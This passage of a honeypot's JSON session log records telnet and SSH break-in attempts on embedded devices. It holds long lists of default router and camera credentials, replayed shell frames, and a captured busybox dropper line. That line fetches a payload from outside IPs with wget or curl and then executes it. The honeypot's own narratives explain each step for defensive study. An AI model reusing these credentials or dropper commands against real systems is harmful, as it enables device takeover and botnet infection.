"Pon521","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"password","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"telnet","p":"telnet","ok":false}],"attempt_n":[3,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":4486,"distinct_creds":99,"distinct_users":9,"distinct_passwords":77,"got_shell":true,"shell_sessions":118,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x51\\x5a\\x4c\\x54\\x54\\x4e'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x51\\x5a\\x4c\\x54\\x54\\x4e'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://27.210.169.183:53019/i ||curl -O http://27.210.169.183:53019/i ||/bin/busybox wget http://27.210.169.183:53019/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x49\\x51\\x4a\\x58\\x4e\\x57\\x58\\x4f'","config terminal","enable","linuxshell","sh","start","su","system","shell"],"command_n":[2,2,2,2,2,2,2,2,2,2,1],"commands_total":1241,"distinct_commands":11,"narrative":["Asked for a shell 6 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('IQJXNWXO', 'QZLTTN') to confirm the shell was real and running its commands.","Tried to download a payload from 27.210.169.183 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":13.0,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nadmin@svr04:~$ "],[1.325,"start\n-bash: start: command not found\nadmin@svr04:~$ enable\n-bash: enable: command not found\nadmin@svr04:~$ config terminal\n-bash: config: command not found\nadmin@svr04:~$ system\n"],[1.37,"-bash: system: command not found\nadmin@svr04:~$ linuxshell\n-bash: linuxshell: command not found\nadmin@svr04:~$ su\nPassword: \n\nroot@svr04:/home# sh\nroot@svr04:/home# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /"],[1.41,"var;/bin/busybox echo -e '\\x51\\x5a\\x4c\\x54\\x54\\x4e'\n"],[2.109,"QZLTTN\nroot@svr04:/var# "],[3.917,"/bin/busybox wget;/bin/busybox echo -ne '\\x51\\x5a\\x4c\\x54\\x54\\x4e'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nQZLTTNroot@svr04:/var# "],[6.192,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://27.210.169.183:53019/i ||curl -O http://27.210.169.183:53019/i ||/bin/busybox wget http://27.210.169.183:53019/i;chmod 777 i ||(cp /bin/ls i"],[6.232,"i;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x49\\x51\\x4a\\x58\\x4e\\x57\\x58\\x4f'\n"],[6.519,"--2026-10-07 12:00:51--  http://27.210.169.183:53019/i\nConnecting to 27.210.169.183:53019... connected.\nHTTP request sent, awaiting response... "],[8.722,"\n"],[9.11,"\n--2026-10-07 12:00:53--  http://27.210.169.183:53019/i\nConnecting to 27.210.169.183:53019... connected.\nHTTP request sent, awaiting response... "],[10.253,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nIQJXNWXO\nroot@svr04:/var# "]],"truncated":false},"key":"36cc899eef82"},{"id":"4e2b4fa3562a","t":"2026-10-13T08:01:55Z","first_t":"2026-10-12T07:58:20Z","repeats":37335,"merged":true,"ip":"37.76.146.120","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"123456","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"netscreen","p":"netscreen","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin","p":"1234567890","ok":false},{"u":"admin","p":"54321","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"BrAhMoS@15","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":true},{"u":"admin","p":"admin1234","ok":false},{"u":"admin","p":"aquario","ok":false},{"u":"admin","p":"gpon@Vnt00","ok":false},{"u":"admin","p":"gw1admin","ok":false},{"u":"admin","p":"smcadmin","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"cuadmin","p":"cuadmin","ok":false},{"u":"draytek","p":"1234","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"ftp","p":"ftp","ok":false},{"u":"operator","p":"operator","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"1234567890","ok":false},{"u":"root","p":"1234horses","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"25802580","ok":false},{"u":"root","p":"7ujMko0admin","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":false},{"u":"root","p":"888888","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"default","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"ifconfig","ok":false},{"u":"root","p":"pass","ok":false}],"attempt_n":[2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":37341,"distinct_creds":164,"distinct_users":15,"distinct_passwords":130,"got_shell":true,"shell_sessions":680,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x50\\x4e\\x58\\x59\\x43\\x4c'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x50\\x4e\\x58\\x59\\x43\\x4c'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://210.208.111.74:42473/i ||curl -O http://210.208.111.74:42473/i ||/bin/busybox wget http://210.208.111.74:42473/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x47\\x57\\x56\\x5a\\x4b\\x47\\x51\\x4c'","config terminal","enable","linuxshell","sh","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1],"commands_total":7037,"distinct_commands":13,"narrative":["Asked for a shell 5 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('GWVZKGQL', 'PNXYCL') to confirm the shell was real and running its commands.","Tried to download a payload from 210.208.111.74 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":10.03,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "],[2.523,"start\n-bash: start: command not found\nroot@svr04:~# enable\n-bash: enable: command not found\nroot@svr04:~# config terminal\n-bash: config: command not found\nroot@svr04:~# syst"],[2.563,"em\n-bash: system: command not found\nroot@svr04:~# linuxshell\n-bash: linuxshell: command not found\nroot@svr04:~# su\nroot@svr04:~# shell\n"],[2.61,"-bash: shell: command not found\nroot@svr04:~# sh\nroot@svr04:~# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x50\\x4e\\x58\\x59\\x43\\x4c'\n"],[3.727,"PNXYCL\nroot@svr04:/var# "],[5.749,"/bin/busybox wget;/bin/busybox echo -ne '\\x50\\x4e\\x58\\x59\\x43\\x4c'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nPNXYCLroot@svr04:/var# "],[5.998,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://210.208.111.74:42473/i ||curl -O http://210.208.111.74:42473/i ||/bin/busybox wget http://210.208.111.74:42473/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x47\\x57\\x56\\x5a\\x4b\\x47\\x51\\x4c'\n"],[6.269,"--2026-10-12 08:41:14--  http://210.208.111.74:42473/i\nConnecting to 210.208.111.74:42473... connected.\nHTTP request sent, awaiting response... "],[7.854,"\n"],[8.274,"\n--2026-10-12 08:41:16--  http://210.208.111.74:42473/i\nConnecting to 210.208.111.74:42473... connected.\nHTTP request sent, awaiting response... "],[9.184,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nGWVZKGQL\nroot@svr04:/var# "]],"truncated":false},"key":"082a05c90c09"},{"id":"3244d0fdfd31","t":"2026-10-13T08:01:50Z","first_t":"2026-10-13T08:01:50Z","repeats":1,"ip":"177.173.47.109","cc":"BR","proto":"ssh","duration_s":21.1,"attempts":[{"u":"manasa","p":"manasa","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"a98186ff1b14"},{"id":"3c9ab1856177","t":"2026-10-13T08:01:46Z","first_t":"2026-10-12T07:58:29Z","repeats":86739,"merged":true,"ip":"72.255.3.62","cc":"PK","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"adminpass","ok":false},{"u":"admin","p":"123456789","ok":false},{"u":"admin","p":"admin1234","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"12341234","ok":false},{"u":"super","p":"xJ4pCYeW","ok":false},{"u":"support","p":"1234","ok":false},{"u":"test1","p":"test1","ok":false},{"u":"yhtcAdmin","p":"Cm1@YHfw","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"Admin","p":"Admin","ok":false},{"u":"admin","p":"7ujMko0admin","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"gpon@Vnt00","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"admin","p":"ttcn@77CN","ok":false},{"u":"administrator","p":"1234","ok":false},{"u":"administrator","p":"administrator","ok":false},{"u":"default","p":"default","ok":false},{"u":"guest","p":"12345","ok":false},{"u":"guest","p":"guest","ok":false},{"u":"netscreen","p":"netscreen","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"070admin","ok":false},{"u":"root","p":"klv1234","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"pass","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"user","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"root","p":"zyad1234","ok":false},{"u":"ruijie","p":"ruijie","ok":false},{"u":"super","p":"super","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"support","p":"support","ok":false},{"u":"support","p":"support123","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"telecomadmin","p":"nE7jA%5m","ok":false}],"attempt_n":[3,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":86751,"distinct_creds":164,"distinct_users":18,"distinct_passwords":130,"got_shell":true,"shell_sessions":1495,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x4a\\x56\\x51\\x46\\x48\\x57'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x4a\\x56\\x51\\x46\\x48\\x57'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://178.206.171.51:45243/i ||curl -O http://178.206.171.51:45243/i ||/bin/busybox wget http://178.206.171.51:45243/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x57\\x4f\\x4f\\x4f\\x51\\x50\\x48\\x59'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1,1],"commands_total":15475,"distinct_commands":11,"narrative":["Asked for a shell 6 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('JVQFHW', 'WOOOQPHY') to confirm the shell was real and running its commands.","Tried to download a payload from 178.206.171.51 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":null,"key":"610155a04f03"},{"id":"0e8f65b2cfa2","t":"2026-10-13T08:01:46Z","first_t":"2026-10-12T07:58:20Z","repeats":19358,"merged":true,"ip":"42.56.140.178","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"CUAdmin","p":"CUAdmin","ok":false},{"u":"admin","p":"plumeria0077","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"admin","p":"BrAhMoS@15","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"Admin","p":"Admin","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"12345678","ok":false},{"u":"admin","p":"1q2w3e","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"adminHW","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"bayandsl","ok":false},{"u":"admin","p":"h@32LuyD","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"admin","p":"qwerty","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"administrator","p":"1234","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"draytek","p":"1234","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"888888","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"adminpass","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"jvbzd","ok":false},{"u":"root","p":"klv1234","ok":false},{"u":"root","p":"vizxv","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"supervisor","p":"supervisor","ok":false}],"attempt_n":[3,3,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":19358,"distinct_creds":148,"distinct_users":14,"distinct_passwords":115,"got_shell":true,"shell_sessions":385,"commands":[],"command_n":[],"commands_total":4018,"distinct_commands":11,"narrative":[],"tags":[],"replay":null,"key":"ef9d3f5a26e6"},{"id":"b4be11975137","t":"2026-10-13T08:01:44Z","first_t":"2026-10-12T08:07:07Z","repeats":10045,"merged":true,"ip":"42.4.97.14","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"chzhdpl","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"jvbzd","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"user","p":"","ok":false},{"u":"Admin","p":"","ok":true},{"u":"Administrator","p":"admin","ok":false},{"u":"CMCCAdmin","p":"CMCCAdmin","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"1234567890","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"CTLSupport12","ok":false},{"u":"admin","p":"admin1234","ok":false},{"u":"admin","p":"adminHW","ok":false},{"u":"admin","p":"aquario","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"epicrouter","ok":false},{"u":"admin","p":"gpon","ok":false},{"u":"admin","p":"gw1admin","ok":false},{"u":"admin","p":"vnpt","ok":false},{"u":"administrator","p":"administrator","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"root","p":"1234","ok":false},{"u":"root","p":"12341234","ok":false},{"u":"root","p":"25802580","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":false},{"u":"root","p":"admin","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"password","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"samsung","ok":false},{"u":"root","p":"system","ok":false},{"u":"root","p":"user","ok":false},{"u":"root","p":"vertex25ektks123","ok":false},{"u":"root","p":"vizxv","ok":false},{"u":"root","p":"xc3511","ok":false},{"u":"root","p":"zte","ok":false},{"u":"super","p":"sp-admin","ok":false},{"u":"super","p":"super","ok":false}],"attempt_n":[2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":10045,"distinct_creds":148,"distinct_users":14,"distinct_passwords":115,"got_shell":true,"shell_sessions":197,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x59\\x59\\x50\\x58\\x4f\\x52'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x59\\x59\\x50\\x58\\x4f\\x52'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://210.208.111.100:41194/i ||curl -O http://210.208.111.100:41194/i ||/bin/busybox wget http://210.208.111.100:41194/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x46\\x51\\x44\\x58\\x49\\x41\\x44\\x4f'","config terminal","enable","linuxshell","sh","start","su","system","shell"],"command_n":[2,2,2,2,2,2,2,2,2,2,1],"commands_total":2066,"distinct_commands":11,"narrative":["Asked for a shell 6 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('FQDXIADO', 'YYPXOR') to confirm the shell was real and running its commands.","Tried to download a payload from 210.208.111.100 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":37.42,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nadmin@svr04:~$ "],[8.643,"start\n-bash: start: command not found\nadmin@svr04:~$ enable\n-bash: enable: command not found\nadmin@svr04:~$ config terminal\n-bash: config: command not found\nadmin@svr04:~$ system\n-bash: system: command not found\nadmin@svr04:~$ linuxshell\n"],[8.689,"-bash: linuxshell: command not found\nadmin@svr04:~$ su\nPassword: \n\nroot@svr04:/home# sh\nroot@svr04:/home# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x59\\x59\\x50\\x58\\x4f\\x52'\n"],[9.183,"YYPXOR\nroot@svr04:/var# "],[17.643,"/bin/busybox wget;/bin/busybox echo -ne '\\x59\\x59\\x50\\x58\\x4f\\x52'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nYYPXORroot@svr04:/var# "],[23.401,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://210.208.111.100:41194/i ||curl -O http://210.208.111.100:41194/i ||/bin/busybox wget http://210.208.111.100:41194/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x46\\x51\\x44\\x58\\x49\\x41\\x44\\x4f'\n"],[23.669,"--2026-10-12 02:48:31--  http://210.208.111.100:41194/i\nConnecting to 210.208.111.100:41194... connected.\nHTTP request sent, awaiting response... "],[25.697,"\n"],[28.532,"\n--2026-10-12 02:48:36--  http://210.208.111.100:41194/i\nConnecting to 210.208.111.100:41194... connected.\nHTTP request sent, awaiting response... "],[30.008,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nFQDXIADO\nroot@svr04:/var# "]],"truncated":false},"key":"1d2df1374ce7"},{"id":"7f8b9d40fc77","t":"2026-10-13T08:01:41Z","first_t":"2026-10-12T07:58:50Z","repeats":2544,"merged":true,"ip":"94.243.11.9","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"root","ok":true},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"7ujMko0admin","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"admin","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"gpon","ok":false},{"u":"admin","p":"plumeria0077","ok":false},{"u":"admin","p":"smcadmin","ok":false},{"u":"administrator","p":"1234","ok":false},{"u":"default","p":"default","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"25802580","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"dreambox","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"ikwb","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"klv1234","ok":false},{"u":"root","p":"pass","ok":false},{"u":"root","p":"xc3511","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"root","p":"zte","ok":false},{"u":"super","p":"xJ4pCYeW","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"tech","p":"tech","ok":false}],"attempt_n":[6,3,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":2545,"distinct_creds":99,"distinct_users":12,"distinct_passwords":77,"got_shell":true,"shell_sessions":73,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x47\\x50\\x51\\x43\\x51\\x4d'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x47\\x50\\x51\\x43\\x51\\x4d'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://27.219.118.7:41917/i ||curl -O http://27.219.118.7:41917/i ||/bin/busybox wget http://27.219.118.7:41917/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x48\\x5a\\x4e\\x43\\x46\\x5a\\x55\\x4b'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[6,6,6,6,6,6,6,6,6,6,6],"commands_total":782,"distinct_commands":11,"narrative":["Asked for a shell 6 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('GPQCQM', 'HZNCFZUK') to confirm the shell was real and running its commands.","Tried to download a payload from 27.219.118.7 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":10.38,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "],[1.289,"start\n-bash: start: command not found\nroot@svr04:~# enable\n-bash: enable: command not found\nroot@svr04:~# config terminal\n-bash: config: command not found\nroot@svr04:~# system\n"],[1.33,"-bash: system: command not found\nroot@svr04:~# linuxshell\n-bash: linuxshell: command not found\nroot@svr04:~# su\nroot@svr04:~# shell\n-bash: shell: command not found\nroot@svr04:~# sh\nroot@svr04:~# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x47\\x50\\x51\\x43\\x51\\x4d'\n"],[1.695,"GPQCQM\nroot@svr04:/var# "],[6.235,"/bin/busybox wget;/bin/busybox echo -ne '\\x47\\x50\\x51\\x43\\x51\\x4d'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nGPQCQMroot@svr04:/var# "],[7.578,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://27.219.118.7:41917/i ||curl -O http://27.219.118.7:41917/i ||/bin/busybox wget http://27.219.118.7:41917/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x48\\x5a\\x4e\\x43\\x4"],[7.618,"6\\x5a\\x55\\x4b'\n"],[7.783,"--2026-10-11 06:37:05--  http://27.219.118.7:41917/i\nConnecting to 27.219.118.7:41917... connected.\nHTTP request sent, awaiting response... "],[8.122,"\n"],[8.431,"\n--2026-10-11 06:37:06--  http://27.219.118.7:41917/i\nConnecting to 27.219.118.7:41917... connected.\nHTTP request sent, awaiting response... "],[8.741,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nHZNCFZUK\nroot@svr04:/var# 